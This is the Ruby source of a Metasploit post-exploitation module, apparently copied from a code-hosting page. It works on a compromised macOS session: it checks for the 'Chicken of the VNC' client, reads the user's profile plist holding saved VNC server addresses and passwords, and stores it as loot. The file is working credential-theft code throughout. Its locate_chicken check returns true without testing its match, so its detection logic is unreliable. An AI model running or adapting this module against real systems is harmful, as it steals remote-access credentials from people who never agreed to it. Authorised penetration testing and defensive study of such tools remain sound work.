113 lines
2.5 KiB
Ruby
113 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex'
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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def initialize(info={})
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super(update_info(info,
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'Name' => 'OS X Gather Chicken of the VNC Profile',
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'Description' => %q{
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This module will download the "Chicken of the VNC" client application's
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profile file, which is used to store other VNC servers' information such
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as as the IP and password.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'sinn3r'],
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'Platform' => [ 'osx' ],
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'SessionTypes' => [ "meterpreter", "shell" ]
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))
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end
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def whoami
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exec("/usr/bin/whoami")
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end
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#
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# This is just a wrapper for cmd_exec(), except it chomp() the output,
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# and retry under certain conditions.
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#
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def exec(cmd)
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tries = 0
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begin
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out = cmd_exec(cmd).chomp
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rescue ::Timeout::Error => e
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tries += 1
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if tries < 3
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vprint_error("#{@peer} - #{e.message} - retrying...")
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retry
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end
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rescue EOFError => e
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tries += 1
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if tries < 3
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vprint_error("#{@peer} - #{e.message} - retrying...")
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retry
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end
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end
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end
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def dir(path)
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subdirs = exec("ls -l #{path}")
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return [] if subdirs =~ /No such file or directory/
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items = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d\:]+\x20(.+)$/).flatten
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return items
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end
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def locate_chicken
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dir("/Applications/").each do |folder|
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m = folder.match(/Chicken of the VNC\.app/)
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return true
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end
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return false
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end
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def get_profile_plist(user)
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f = exec("cat /Users/#{user}/Library/Preferences/com.geekspiff.chickenofthevnc.plist")
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if f =~ /No such file or directory/
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return nil
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else
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return f
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end
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end
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def save(file)
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p = store_loot(
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"chickenvnc.profile",
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"bin",
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session,
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file,
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"com.geekspiff.chickenofthevnc.plist"
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)
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print_good("#{@peer} - plist saved in #{p}")
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end
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def run
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@peer = "#{session.session_host}:#{session.session_port}"
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user = whoami
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if not locate_chicken
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print_error("#{@peer} - Chicken of the VNC is not installed")
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return
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else
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print_status("#{@peer} - Chicken of the VNC found")
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end
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plist = get_profile_plist(user)
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if plist.nil?
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print_error("No profile plist found")
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else
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save(plist) if not plist.nil?
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end
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end
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end
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